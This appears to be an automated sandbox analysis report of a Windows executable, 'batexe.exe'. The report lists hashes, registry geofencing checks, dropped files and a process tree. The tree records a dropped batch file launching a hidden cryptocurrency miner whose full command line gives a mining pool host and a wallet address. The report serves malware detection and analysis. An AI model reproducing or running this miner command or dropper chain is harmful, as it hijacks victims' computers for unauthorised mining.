73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13-02-2024 12:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3132	b2e.exe
2304	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2304	cpuminer-sse2.exe
2304	cpuminer-sse2.exe
2304	cpuminer-sse2.exe
2304	cpuminer-sse2.exe
2304	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5000-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 3132	5000	batexe.exe	84
PID 5000 wrote to memory of 3132	5000	batexe.exe	84
PID 5000 wrote to memory of 3132	5000	batexe.exe	84
PID 3132 wrote to memory of 212	3132	b2e.exe	85
PID 3132 wrote to memory of 212	3132	b2e.exe	85
PID 3132 wrote to memory of 212	3132	b2e.exe	85
PID 212 wrote to memory of 2304	212	cmd.exe	88
PID 212 wrote to memory of 2304	212	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
18.2MB

MD5
974f596fd92d1a0dc901f00b58072743

SHA1
a439003642adf81c10455a7367a261a05f2522a0

SHA256
3f367bf3597cdf284d66afa4dc24b59490a0d67ec12b60c222a81c7dfaafef64

SHA512
2fbea730f6727ef007042f06ed92baf68d110f3180ff43a1674111c93003ec2c5bd29b1c5e7e97828dcd913fb0489676c2ebc896c686e0e0bd577eadaaef36ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
4.1MB

MD5
55075aad2654558e78c79389d328bd6c

SHA1
3c49741995c4eedb25ab33cc269abeed7e5a00b8

SHA256
778ee0f65897dd81fdfe44499a01fd879b1c237acb9015a4b8afe1020809e440

SHA512
0060002f1ddd8ba3d108c627afb31818998a107e866db7bf1de6ce534e4974c520e8a4a34a0925c1ecac868c5f85543afd169b1ad77b81521b88049bf784ec5f

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E7B.tmp\b2e.exe

Filesize
5.3MB

MD5
000fa1b41635662998e345a6cbf3287a

SHA1
3d4f0e51cb5de7059d94263d1e2b5765d08e4c45

SHA256
943b8c602063c20256a42136a3b459b2e32c38918dc3edde9a6b9be550809dfa

SHA512
1a832ad33cca981a8dcc063ae7a047d931a2f617ab59199683ffcbb45f6685e4e0907be8b73c14a109e7cfe3844e8dd2fab47c7183bd09e81602a7a77622078c

Download Submit
C:\Users\Admin\AppData\Local\Temp\6189.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.3MB

MD5
2280ad6fa989b8d3343d90690ef70adf

SHA1
c69aaed95d8785c5c33de3aba309cbdd44ce8593

SHA256
7ce599b1c9fd30a73f3006b14d94c878273c26651a74422174788021acc2898d

SHA512
e859fca9a1f69c1cb90ce7cc13b32b7a066a6e8ac7c7377a3844f82e1a2de774849311b2fd181fefd7eefec7c93e875b6475cc9583708ca11a1c7f0af451c2ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.9MB

MD5
53331bda5fb1554f53bae2d18d2d3b3b

SHA1
8e23ea3b7e5d55e5726eaa371ff42d136591dc10

SHA256
bf37f40c73da7a9468405335c38a1e7914ae9564faedcba1b794080fd4035ab1

SHA512
a5cdee53e2582aa26facccf5abe829e0a6aa058e4cdbe6b95ddd3983078d9092edbb47cf535ea89bd9564c9290baabff842e84580bee8b9299363170b4bcc367

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.8MB

MD5
ba7ad109b803558a5b93bdaead2c734a

SHA1
5b25a81c8a0fbbac723c179bbc22d346707a5e2e

SHA256
aa86fda495fd06076e2bfc0828ca59c5b88c850afdee751959899446ad0adab5

SHA512
b8a4c2395613f100b39ce5593e02a5fa40aa31899fe47bbf6eb2c989f83431e66a23536fe5de0a381b6856bc8fbe8e6389f40748f5abede95ccc57c8b2445c35

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2304-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2304-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2304-46-0x0000000054CD0000-0x0000000054D68000-memory.dmp

Filesize
608KB

Download
memory/2304-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2304-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2304-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3132-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3132-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5000-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download